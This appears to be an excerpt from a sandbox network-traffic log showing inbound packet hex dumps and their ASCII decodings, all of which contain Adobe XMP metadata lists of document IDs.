2022-07-20 13:44:28 UTC	7190	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 39 62 63 37 34 66 2d 30 30 62 64 2d 36 35 34 35 2d 39 39 34 63 2d 35 62 31 39 62 39 35 31 35 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 41 43 44 33 44 32 43 42 39 32 45 30 31 31 38 33 38 33 41 37 30 37 39 32 43 43 46 45 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 42 43 42 39 46 39 41 32 32 45 45 32 31 31 42 39 38 44 42 39 39 37 37 35 36 30 46 31 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 43 44 42 36 38 34 34 30 32 30 36 38 31 31 38 41 36 44 39 33 39 31 37 32 45 32 32 38 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 Data Ascii: </rdf:li> <rdf:li>xmp.did:019bc74f-00bd-6545-994c-5b19b9515222</rdf:li> <rdf:li>xmp.did:01ACD3D2CB92E0118383A70792CCFEF7</rdf:li> <rdf:li>xmp.did:01BCB9F9A22EE211B98DB9977560F164</rdf:li> <rdf:li>xmp.did:01CDB684402068118A6D939172E228B5</rdf:li> <rdf:li>x
2022-07-20 13:44:28 UTC	7206	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 34 34 45 44 33 43 33 41 42 42 45 42 34 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 44 34 44 42 33 44 36 36 32 35 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 Data Ascii: xmp.did:0580117407206811A44ED3C3ABBEB4D4</rdf:li> <rdf:li>xmp.did:0580117407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0580117407206811AB08CDB2E2E5BC33</rdf:li> <rdf:li>xmp.did:0580117407206811AB08D4DB3D6625A9</rdf:li> <rdf:li>xmp.did:058011740720681
2022-07-20 13:44:28 UTC	7222	IN	Data Raw: 36 42 38 36 32 31 31 45 30 39 37 31 34 38 37 32 43 38 32 32 44 41 35 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 32 42 30 32 32 36 30 38 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 36 35 42 46 39 41 45 34 36 43 31 31 44 46 41 35 36 31 46 41 36 31 37 42 43 41 32 35 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 37 31 42 35 42 37 30 42 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 37 39 46 43 42 43 42 43 38 43 31 31 45 30 38 34 41 33 45 41 39 42 35 42 37 36 34 35 Data Ascii: 6B86211E09714872C822DA56B</rdf:li> <rdf:li>xmp.did:0C2B022608206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:0C65BF9AE46C11DFA561FA617BCA2565</rdf:li> <rdf:li>xmp.did:0C71B5B70B2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:0C79FCBCBC8C11E084A3EA9B5B7645
2022-07-20 13:44:28 UTC	7230	IN	Data Raw: 34 38 63 2d 37 36 35 61 2d 34 64 39 65 2d 61 63 34 35 2d 61 35 38 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 31 35 46 33 43 36 31 41 30 45 30 31 31 39 46 36 46 43 46 35 42 36 32 42 41 30 42 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 64 2d 61 35 63 32 2d 35 66 34 30 66 32 32 38 33 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 31 38 32 38 31 33 43 36 45 30 31 31 Data Ascii: 48c-765a-4d9e-ac45-a5849cb1c7ae</rdf:li> <rdf:li>xmp.did:13115F3C61A0E0119F6FCF5B62BA0BB0</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-8895-194d-a5c2-5f40f2283076</rdf:li> <rdf:li>xmp.did:1337182813C6E011
2022-07-20 13:44:28 UTC	7246	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 64 34 36 33 30 63 2d 62 32 64 30 2d 34 64 64 36 2d 39 37 37 36 2d 64 65 66 33 31 39 61 61 36 37 33 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 32 30 42 38 44 32 32 33 30 45 39 44 45 31 31 39 39 34 37 39 38 44 37 44 35 32 46 45 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 32 30 64 34 61 62 33 2d 37 34 35 35 2d 33 35 34 62 2d 39 36 63 33 2d 38 66 36 31 39 37 31 61 65 32 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 32 31 45 33 31 30 35 44 31 34 33 45 30 31 31 38 39 43 46 38 32 46 44 33 42 31 44 44 34 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 32 31 64 Data Ascii: li>xmp.did:21d4630c-b2d0-4dd6-9776-def319aa673d</rdf:li> <rdf:li>xmp.did:220B8D2230E9DE11994798D7D52FE844</rdf:li> <rdf:li>xmp.did:220d4ab3-7455-354b-96c3-8f61971ae233</rdf:li> <rdf:li>xmp.did:221E3105D143E01189CF82FD3B1DD4D8</rdf:li> <rdf:li>xmp.did:221d
2022-07-20 13:44:28 UTC	7262	IN	Data Raw: 63 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 31 31 30 32 32 36 30 39 45 32 45 34 31 31 42 37 32 45 42 39 46 46 39 42 35 38 42 36 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 31 38 36 62 64 35 2d 33 31 34 34 2d 30 31 34 32 2d 39 32 35 65 2d 33 62 65 36 38 35 34 65 31 66 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 32 38 42 46 38 33 32 43 32 30 36 38 31 31 38 30 38 33 38 31 45 35 37 38 38 43 33 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: cab</rdf:li> <rdf:li>xmp.did:3011022609E2E411B72EB9FF9B58B649</rdf:li> <rdf:li>xmp.did:30186bd5-3144-0142-925e-3be6854e1fc5</rdf:li> <rdf:li>xmp.did:3028BF832C206811808381E5788C353D</rdf:li> <rdf:li>xmp.did:30371CE5A6226811822A9E418F455C5D</rdf:li> <rdf:l
2022-07-20 13:44:28 UTC	7270	IN	Data Raw: 33 65 31 30 32 2d 38 37 32 33 2d 34 39 37 34 2d 62 35 66 64 2d 38 66 32 66 63 39 36 66 39 31 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 39 36 35 35 31 34 31 32 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 42 45 32 34 43 44 33 46 32 30 36 38 31 31 41 39 42 35 39 38 36 35 46 39 46 31 35 36 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 43 44 30 41 38 39 43 30 36 39 45 31 31 31 39 32 46 37 43 41 44 41 35 46 45 34 39 38 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 44 31 34 31 36 45 31 44 32 30 36 38 31 31 38 38 43 36 43 46 Data Ascii: 3e102-8723-4974-b5fd-8f2fc96f91c6</rdf:li> <rdf:li>xmp.did:3696551412206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:36BE24CD3F206811A9B59865F9F1562B</rdf:li> <rdf:li>xmp.did:36CD0A89C069E11192F7CADA5FE49869</rdf:li> <rdf:li>xmp.did:36D1416E1D20681188C6CF
2022-07-20 13:44:28 UTC	7286	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 30 45 43 44 31 41 38 46 32 31 36 38 31 31 38 41 36 44 43 36 37 33 30 34 46 38 33 36 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 32 32 42 42 45 39 35 37 32 31 45 30 31 31 39 38 38 45 39 36 45 39 44 38 41 39 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 32 34 33 42 38 46 36 34 43 41 31 31 45 31 41 44 41 37 45 39 33 34 44 38 31 36 43 43 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 32 39 33 34 43 34 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 32 Data Ascii: li> <rdf:li>xmp.did:440ECD1A8F2168118A6DC67304F83669</rdf:li> <rdf:li>xmp.did:4422BBE95721E011988E96E9D8A9B702</rdf:li> <rdf:li>xmp.did:44243B8F64CA11E1ADA7E934D816CCBA</rdf:li> <rdf:li>xmp.did:442934C40720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:442
2022-07-20 13:44:28 UTC	7302	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 35 32 35 62 30 36 34 64 2d 31 30 39 33 2d 36 31 34 35 2d 61 32 31 30 2d 35 61 33 32 33 35 30 62 65 36 31 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 32 36 45 33 33 43 39 44 44 45 41 45 33 31 31 39 36 45 33 42 38 42 33 32 37 34 33 46 31 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 32 39 30 31 36 32 34 30 38 32 30 36 38 31 31 39 35 46 45 42 35 38 32 44 30 31 36 42 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 32 39 31 32 38 35 36 2d 64 65 34 63 2d 61 39 34 30 2d 62 35 63 31 2d 63 32 30 63 36 37 37 38 62 39 30 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 32 39 63 35 62 39 Data Ascii: xmp.did:525b064d-1093-6145-a210-5a32350be61c</rdf:li> <rdf:li>xmp.did:526E33C9DDEAE31196E3B8B32743F1EE</rdf:li> <rdf:li>xmp.did:529016240820681195FEB582D016B30A</rdf:li> <rdf:li>xmp.did:52912856-de4c-a940-b5c1-c20c6778b90a</rdf:li> <rdf:li>xmp.did:529c5b9
2022-07-20 13:44:28 UTC	7310	IN	Data Raw: 62 31 35 2d 34 65 65 31 2d 62 65 62 62 2d 32 33 36 30 34 38 63 65 33 34 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 32 35 38 41 33 32 30 46 32 33 36 38 31 31 42 44 33 35 39 32 31 36 34 43 37 30 37 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 33 32 35 31 30 30 32 46 32 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 33 42 38 38 32 42 31 46 32 30 36 38 31 31 41 42 30 38 44 45 42 30 35 35 45 46 34 35 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 37 38 41 41 41 30 30 44 46 45 44 45 31 31 38 43 44 44 45 38 46 34 32 31 37 46 39 Data Ascii: b15-4ee1-bebb-236048ce3491</rdf:li> <rdf:li>xmp.did:5A258A320F236811BD3592164C70701D</rdf:li> <rdf:li>xmp.did:5A3251002F206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:5A3B882B1F206811AB08DEB055EF45B0</rdf:li> <rdf:li>xmp.did:5A78AAA00DFEDE118CDDE8F4217F9
2022-07-20 13:44:28 UTC	7326	IN	Data Raw: 36 30 31 37 43 35 31 31 45 31 42 42 32 37 43 46 42 43 41 43 33 33 46 37 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 33 37 45 38 41 34 38 44 34 41 31 31 44 46 39 45 31 32 39 42 34 45 41 39 32 45 30 37 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 34 37 38 31 34 32 34 33 32 30 36 38 31 31 38 30 38 33 39 41 43 33 31 39 44 31 37 41 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 34 62 66 33 61 32 2d 38 33 61 66 2d 36 31 34 66 2d 39 35 39 35 2d 30 34 62 31 36 32 65 30 66 66 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 36 34 61 33 65 39 2d 32 32 33 31 2d 37 34 34 32 2d 38 38 37 36 2d 33 Data Ascii: 6017C511E1BB27CFBCAC33F71C</rdf:li> <rdf:li>xmp.did:6837E8A48D4A11DF9E129B4EA92E072D</rdf:li> <rdf:li>xmp.did:684781424320681180839AC319D17A6C</rdf:li> <rdf:li>xmp.did:684bf3a2-83af-614f-9595-04b162e0ffd9</rdf:li> <rdf:li>xmp.did:6864a3e9-2231-7442-8876-3
2022-07-20 13:44:28 UTC	7342	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 33 30 38 33 35 39 33 44 37 35 31 31 45 30 38 30 33 41 46 46 44 37 38 34 31 32 31 45 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 33 33 32 35 42 42 33 45 37 36 31 31 45 37 41 45 41 38 39 33 42 37 45 43 45 44 43 46 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 34 31 30 38 31 46 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 34 36 41 42 44 32 32 30 30 41 31 31 36 38 42 38 34 30 45 30 39 36 37 43 46 38 45 37 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: rdf:li> <rdf:li>xmp.did:763083593D7511E0803AFFD784121EF6</rdf:li> <rdf:li>xmp.did:763325BB3E7611E7AEA893B7ECEDCF84</rdf:li> <rdf:li>xmp.did:7641081F0A2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:7646ABD2200A1168B840E0967CF8E708</rdf:li> <rdf:li>xmp.did
2022-07-20 13:44:28 UTC	7349	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 43 43 32 41 34 37 42 41 32 33 36 38 31 31 38 41 36 44 43 36 37 33 30 34 46 38 33 36 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 44 38 41 39 37 31 41 39 42 30 45 30 31 31 39 37 46 38 45 44 30 39 39 33 41 32 36 44 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 45 34 43 44 36 36 41 30 32 31 36 38 31 31 39 35 46 45 38 30 31 34 45 39 32 39 45 34 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 46 45 38 45 39 34 41 34 46 43 44 46 31 31 39 35 32 34 46 44 32 33 39 34 36 32 34 43 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 61 30 37 34 32 62 35 2d 66 63 34 Data Ascii: li>xmp.did:7FCC2A47BA2368118A6DC67304F83669</rdf:li> <rdf:li>xmp.did:7FD8A971A9B0E01197F8ED0993A26DC7</rdf:li> <rdf:li>xmp.did:7FE4CD66A021681195FE8014E929E489</rdf:li> <rdf:li>xmp.did:7FFE8E94A4FCDF119524FD2394624C57</rdf:li> <rdf:li>xmp.did:7a0742b5-fc4
2022-07-20 13:44:28 UTC	7365	IN	Data Raw: 46 30 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 45 37 39 46 31 42 45 32 32 37 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 46 33 37 31 34 33 39 38 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 46 38 37 37 42 38 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 30 46 34 45 45 36 32 31 43 43 31 31 36 38 38 38 35 35 38 43 30 36 37 34 34 30 32 30 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: F0F42</rdf:li> <rdf:li>xmp.did:8BE79F1BE22768118C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:8BF3714398226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:8BF877B80720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:8C0F4EE621CC116888558C0674402075</rdf:li> <rdf:li>
2022-07-20 13:44:28 UTC	7381	IN	Data Raw: 62 30 2d 61 65 34 65 2d 61 30 37 64 2d 63 38 61 62 36 39 31 30 39 35 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 38 33 34 30 39 66 2d 36 62 61 36 2d 31 32 34 62 2d 61 30 39 37 2d 33 38 63 65 37 66 61 35 32 38 32 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 38 38 34 61 64 33 2d 39 63 35 65 2d 34 33 34 31 2d 38 31 65 33 2d 32 32 33 33 32 38 37 35 39 33 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 39 33 39 38 39 32 2d 36 62 37 64 2d 39 65 34 31 2d 39 36 62 33 2d 30 36 33 39 39 33 31 66 32 66 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 39 36 31 36 33 38 31 33 32 30 36 38 31 31 41 46 Data Ascii: b0-ae4e-a07d-c8ab6910955d</rdf:li> <rdf:li>xmp.did:9883409f-6ba6-124b-a097-38ce7fa5282a</rdf:li> <rdf:li>xmp.did:98884ad3-9c5e-4341-81e3-223328759319</rdf:li> <rdf:li>xmp.did:98939892-6b7d-9e41-96b3-0639931f2f78</rdf:li> <rdf:li>xmp.did:9896163813206811AF
2022-07-20 13:44:28 UTC	7385	IN	Data Raw: 43 46 36 31 36 45 39 39 32 41 31 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 39 43 43 34 30 31 32 39 46 43 45 31 31 31 39 42 30 45 38 44 41 33 39 36 41 35 38 34 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 39 43 46 42 41 30 31 31 32 30 36 38 31 31 39 33 30 41 42 37 45 41 33 39 41 38 34 30 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 41 43 45 43 32 37 33 33 32 30 36 38 31 31 41 43 31 37 38 30 46 35 37 45 33 36 38 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 43 37 37 34 30 42 31 39 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: CF616E992A11A</rdf:li> <rdf:li>xmp.did:9C9CC40129FCE1119B0E8DA396A584F8</rdf:li> <rdf:li>xmp.did:9C9CFBA011206811930AB7EA39A8405C</rdf:li> <rdf:li>xmp.did:9CACEC2733206811AC1780F57E36873D</rdf:li> <rdf:li>xmp.did:9CC7740B19206811B4BCC2A8EBC78135</rdf:li>
2022-07-20 13:44:28 UTC	7401	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 30 32 38 32 31 38 44 30 38 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 30 33 38 33 45 38 41 38 43 42 42 44 46 31 31 41 34 42 37 39 38 30 39 30 34 35 35 45 36 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 30 34 44 45 45 37 42 39 36 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 30 34 45 44 37 37 32 30 41 32 30 36 38 31 31 42 35 34 36 46 42 35 42 31 34 35 41 35 37 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 30 37 30 35 31 46 41 45 37 32 33 Data Ascii: li>xmp.did:B028218D082068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:B0383E8A8CBBDF11A4B798090455E63E</rdf:li> <rdf:li>xmp.did:B04DEE7B96296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:B04ED7720A206811B546FB5B145A57BC</rdf:li> <rdf:li>xmp.did:B07051FAE723
2022-07-20 13:44:28 UTC	7417	IN	Data Raw: 64 69 64 3a 43 38 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 39 32 33 46 43 32 31 35 32 39 36 38 31 31 39 32 42 30 42 38 41 43 45 33 32 38 33 39 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 41 32 31 42 31 44 44 41 45 32 44 45 31 31 39 37 36 44 45 46 38 36 44 37 35 46 31 43 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 43 36 31 45 44 35 42 39 34 34 45 30 31 31 41 36 42 42 46 38 36 38 33 45 45 43 32 37 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 38 44 37 46 45 46 39 46 38 37 46 45 30 31 31 42 38 37 Data Ascii: did:C882A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.did:C8923FC21529681192B0B8ACE328396D</rdf:li> <rdf:li>xmp.did:C8A21B1DDAE2DE11976DEF86D75F1C03</rdf:li> <rdf:li>xmp.did:C8C61ED5B944E011A6BBF8683EEC2765</rdf:li> <rdf:li>xmp.did:C8D7FEF9F87FE011B87
2022-07-20 13:44:28 UTC	7425	IN	Data Raw: 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 35 34 36 46 42 35 42 31 34 35 41 35 37 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 38 35 42 34 44 39 45 36 31 37 45 30 31 31 41 41 38 37 45 41 37 31 39 35 42 41 36 44 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 38 37 41 46 32 43 31 37 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 39 35 34 37 38 36 30 38 32 30 36 38 31 31 41 46 46 44 46 41 39 44 36 37 39 37 37 43 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 41 33 43 38 37 43 41 33 32 30 36 38 31 31 38 30 38 33 46 39 44 33 44 Data Ascii: 7F117407206811B546FB5B145A57BC</rdf:li> <rdf:li>xmp.did:D285B4D9E617E011AA87EA7195BA6DFB</rdf:li> <rdf:li>xmp.did:D287AF2C172068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:D295478608206811AFFDFA9D67977CB5</rdf:li> <rdf:li>xmp.did:D2A3C87CA32068118083F9D3D
